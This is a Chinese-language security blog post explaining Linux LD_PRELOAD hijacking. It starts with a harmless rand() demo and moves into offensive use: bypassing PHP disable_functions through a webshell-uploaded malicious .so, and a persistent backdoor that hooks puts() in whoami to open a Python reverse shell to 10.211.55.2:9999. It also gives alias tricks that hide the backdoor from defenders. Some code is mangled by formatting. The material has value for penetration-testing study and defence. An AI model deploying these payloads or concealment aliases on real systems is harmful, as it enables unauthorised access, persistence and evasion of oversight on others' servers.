共计 9649 个字符,预计需要花费 25 分钟才能阅读完成。
LD_PRELOAD在Linux中的作用
LD_PRELOAD 是 Linux 系统中常用的环境变量,用于在程序运行时预加载指定的共享库(.so 文件)。
它的主要作用是在程序启动前,将用户指定的动态链接库优先加载到进程的地址空间中,从而可以覆盖或拦截标准库函数的行为。
.so(共享对象)文件中通常封装了一些可被其他程序调用的函数、变量或符号,目的是实现代码复用、模块化和动态链接。类似Windows的DLL基本原理
Linux 中的程序通常会动态链接到系统库(如 libc.so)。当程序调用某个函数(比如 malloc、open、printf 等),动态链接器(ld-linux.so)会在运行时解析这些符号并绑定到对应的实现。
LD_PRELOAD 的工作机制是:
- 在程序启动时,动态链接器会优先加载
LD_PRELOAD指定的共享库; - 如果该库中定义了与标准库同名的函数,那么程序在调用该函数时,会优先使用预加载库中的版本,而不是标准库中的原始实现。
这就是LD_PRELOAD劫持的基本原理
我们先用一个简单的例子来演示LD_PRELOAD
LD_PRELOAD=$PWD/1111.so ./1234 //这样就先当于在运行1234前动态加载1111.so,但下一次就不会了
export LD_PRELOAD=$PWD/1111.so //这里就先当于设置了全局环境变量,对所有都有约束
unset LD_PRELOAD //这个就可以恢复最初的
/***********************************************************************
*
* Project: guessing_game
*
* Author: Travis Phillips
*
* Date: 10/24/2020
*
* Project Repo:
* https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
*
* Purpose: This is code for a simple random number guessing game for
* a blog post on using LD_PRELOAD to hijack functions in an
* application, in this case, hijacking rand()
*
* Compile: gcc guessing_game.c -o guessing_game
*
***********************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
/////////////////////////////////
// App Constants
/////////////////////////////////
const char *TITLE = "Number Guessing Game";
const char *VER = "v1.0";
/////////////////////////////////
// Color Constants
/////////////////////////////////
#ifdef NOCOLOR
const char *RED = "";
const char *GREEN = "";
const char *YELLOW = "";
const char *NC = "";
#else
const char *RED = "33[31;1m";
const char *GREEN = "33[32;1m";
const char *YELLOW = "33[33;1m";
const char *NC = "33[0m";
#endif
int main(int argc, char **argv) {
//////////////////////////////////////////////////////////////////
// Initalize Variables.
//////////////////////////////////////////////////////////////////
unsigned int rand_num = 0;
unsigned int user_guess = 0;
time_t t = 0;
//////////////////////////////////////////////////////////////////
// Print the banner.
//////////////////////////////////////////////////////////////////
printf("nt%s---===[ %s %s ]===---%snn", YELLOW, TITLE, VER, NC);
//////////////////////////////////////////////////////////////////
// Get the user's guess.
//////////////////////////////////////////////////////////////////
printf(" [?] Guess a number between 0-31337 > ");
if (!scanf("%u", &user_guess) || user_guess > 31337) {
printf(" [%s!%s] %sERROR:%s Invalid input.nn", RED, NC, RED, NC);
return 1;
}
//////////////////////////////////////////////////////////////////
// Seed the random number generator with the current time.
//////////////////////////////////////////////////////////////////
srand((unsigned int) time(&t));
//////////////////////////////////////////////////////////////////
// Now get a random number between 1 and 31337.
//////////////////////////////////////////////////////////////////
rand_num = rand() % 31338;
//////////////////////////////////////////////////////////////////
// Print the variables if this is a debug build.
//////////////////////////////////////////////////////////////////
#ifdef DEBUG
printf(" [DEBUG] user_guess => %dn", user_guess);
printf(" [DEBUG] rand_num => %dn", rand_num);
#endif
//////////////////////////////////////////////////////////////////
// See if the users number is equal to the number generated. If
// so, let the user know they won.
//////////////////////////////////////////////////////////////////
if (user_guess == rand_num){
printf(" [%s+%s] %sYou Win! :-)%snn", GREEN, NC, GREEN, NC);
return 0;
}
//////////////////////////////////////////////////////////////////
// The user guessed wrong, let them know the lost.
//////////////////////////////////////////////////////////////////
printf(" [%s-%s] %sYou lose. :-(%snn", RED, NC, RED, NC);
return 1;
}
这是一个简单的猜数字游戏,调用了rand()函数来生成随机数

可以看到生成的数字是随机的,现在我们利用LD_PRELOAD来劫持rand()函数
/***********************************************************************
*
* Project: rand_hijack.so
*
* Author: Travis Phillips
*
* Date: 10/24/2020
*
* Project Repo:
* https://github.com/ProfessionallyEvil/LD_PRELOAD-rand-Hijack-Example
*
* Purpose: This is simple code for a LD_PRELOAD shared object that
* will make the call to rand() always return a static value
* of 42. We will use this to cheat in the number guessing
* game by making it not-so-random anymore.
*
* Compile: gcc -FPIC -shared rand_hijack.c -o rand_hijack.so
*
***********************************************************************/
#include <stdio.h>
// Our version of rand() to hijack random number generation with.
int rand(void) {
return 42; // The answer is always 42. It's always 42...
}
将他编译成.so文件
gcc -Wall -O3 -FPIC -shared src/rand_hijack.c -o rand_hijack.so
然后设置环境变量
export LD_PRELOAD=$PWD/rand_hijack.so

再次游戏后我们可以看到,每次随机的值都是42,说明我们已经成功劫持rand()函数
LD_PRELOAD绕disable_function
php.ini文件里面可以设置禁用函数。
虽然禁用了system等可以直接执行命令的函数但是我们可以控制环境变量(如:putenv等)来指定LD_PRELOAD实现加载恶意的so文件,而他的优先级肯定是高于php.ini的disable_function所以实现了disable_function的bypass
加载顺序:LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib
假设我们现在有了一个webshell,但是打开了disable_function。
那么我们可以去查看php的一些函数调用了哪些库函数
比如使用了mail()函数,我们就可以去劫持sendmail的库函数然后触发mail()
使用readelf -Ws /usr/sbin/sendmail命令来查看sendmail命令使用了哪些库函数
#mail.php
php
<?php
mail("a@localhost","","","","");
?>
strace -f php mail.php 2>&1 | grep -A2 -B2 execve

可以看到 execve 所执行的动态链接库为 sendmail
readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 350 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 000000000000c360 0 SECTION LOCAL DEFAULT 11
2: 00000000000db000 0 SECTION LOCAL DEFAULT 23
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fxstat@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND tzset@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND socket@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND OPENSSL_init_crypto@OPENSSL_1_1_0 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND srandom@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_set_accept_state@OPENSSL_1_1_0 (4)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND memcpy@GLIBC_2.17 (2)
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BN_bin2bn@OPENSSL_1_1_0 (3)
11: 0000000000000000 0 FUNC GLOBAL DEFAULT UND nis_list@LIBNSL_1.0 (5)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND SSL_shutdown@OPENSSL_1_1_0 (4)
13: 0000000000000000 0 FUNC GLOBAL DEFAULT UND select@GLIBC_2.17 (2)
14: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_setprop@SASL2 (6)
15: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getpwnam@GLIBC_2.17 (2)
16: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fchmod@GLIBC_2.17 (2)
17: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fread@GLIBC_2.17 (2)
18: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strstr@GLIBC_2.17 (2)
19: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __fdelt_chk@GLIBC_2.17 (2)
20: 0000000000000000 0 FUNC GLOBAL DEFAULT UND BIO_free@OPENSSL_1_1_0 (3)
21: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getgid@GLIBC_2.17 (2)
22: 0000000000000000 0 FUNC GLOBAL DEFAULT UND readlink@GLIBC_2.17 (2)
23: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_decode64@SASL2 (6)
24: 0000000000000000 0 FUNC GLOBAL DEFAULT UND ldap_bind_s@OPENLDAP_2.4_2 (7)
25: 0000000000000000 0 FUNC GLOBAL DEFAULT UND regerror@GLIBC_2.17 (2)
26: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_CRL_free@OPENSSL_1_1_0 (3)
27: 0000000000000000 0 OBJECT GLOBAL DEFAULT UND __environ@GLIBC_2.17 (2)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_start@SASL2 (6)
……
从中选取一个适合的库函数来进行劫持测试,最终选择到的是第 82 行的 getuid
65: 0000000000000000 0 FUNC GLOBAL DEFAULT UND geteuid@GLIBC_2.17 (2)
编写恶意so -> 通过putenv来设置LD_PRELOAD变量 -> 触发mail函数来调用我们编写的恶意so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("id > /tmp/evil.txt");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
劫持sendmail使用的geteuid库函数,在其中调用payload()函数
payload()函数执行id命令输出到/tmp/evil.txt进行测试
在一个与目标机器系统环境相近的环境下进行编译
gcc -c -fPIC evil.c -o evil
gcc -shared evil -o evil.so
把evil.so进行base64编码,利用webshell,通过file_put_contents写入恶意so
PostData:
1=file_put_contents('/tmp/evil.so',base64_decode(''))
写一点代码
<?php
put_env("LD_PRELOAD=/tmp/evil.so");
mail("mo60@localhost","","");
?>
将这段代码base64后写入文件随后访问,如果使用命令行在编码时需要注意转义引号
echo "<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>"|base64
PD9waHAKcHV0ZW52KCJMRF9QUkVMT0FEPS92YXIvd3d3L2hhY2suc28iKTsKbWFpbCgiYUBsb2NhbGhvc3QiLCIiLCIiLCIiLCIiKTsKPz4K
我们都知道蚁剑自带一个绕disable_function
它的原理就是上传恶意so文件执行命令开一个新的php服务(没有disable_function),然后开启一个代理访问这个php服务
除开使用插件外自己手动劫持还是有点麻烦的,那么有什么简单点的办法
我们可以通过attribute来进行LD_PRELOAD劫持
GCC 有个 C 语言扩展修饰符 attribute((constructor)),可以让由它修饰的函数在 main() 之前执行,一旦某些指令需要加载动态链接库时,就会立即执行它
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
printf("i am hacker!!n"); //这里可以进行修改
}

可以看到所有的命令执行都触发了危险的函数
NOTICE:so文件的后缀名实际上可以为任意后缀,这样可以绕过一些文件上传的限制
所以:绕disable_function流程就是
寻找要劫持的函数源码插入恶意代码,编译恶意so文件
file_put_content写入so文件劫持mail函数或者其他函数
调用函数触发恶意代码
LD_PRELOAD后渗透利用
既然LD_PRELOAD可以在运行命令前执行自己隐藏的命令。那么显然我们可以利用LD_PRELOAD留下隐蔽持久化后门比如我们劫持whoami命令
┌──(kali㉿Rycarl)-[~]
└─$ readelf -Ws /bin/whoami|grep puts
10: 0000000000000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.2.5 (2)
28: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs_unlocked@GLIBC_2.2.5 (2)
整体逻辑如下:
- 覆盖puts函数并在内部重写
- 把原函数指针赋值给一个变量
- 执行后门代码
- 执行原函数
- 正常返回值
劫持后的代码#include <stdio.h> #include <unistd.h> #include <dlfcn.h> #include <stdlib.h>
int puts(const char message) {
int (new_puts)(const char *message);
int result;
new_puts = dlsym(RTLD_NEXT, “puts”);
system(“python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.211.55.2”,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'”);
result = new_puts(message);
return result;
}
但是LD_PRELOAD劫持也十分常见,所以往往很容易被发现
防守方可以使用
```bash
env
echo $LD_PRELOAD
set
export
等命令发现后门,我们可以尝试使用alias来把和后门有关的字段置空达到隐蔽
比如
alias echo='func(){ echo $* | sed "s!/root/hook.so! !g";};func'
alias env='func(){ env $* | grep -v "/root/hook.so";};func'
alias set='func(){ set $* | grep -v "/root/hook.so";};func'
alias export='func(){ export $* | grep -v "/root/hook.so";};func'
alias alias='func(){ alias "$@" | grep -v unalias | grep -v hook.so;};func'
alias unalias='func(){ if [ $# != 0 ]; then if [ $* != "echo" ]&&[ $* != "env" ]&&[ $* != "set" ]&&[ $* != "export" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};func'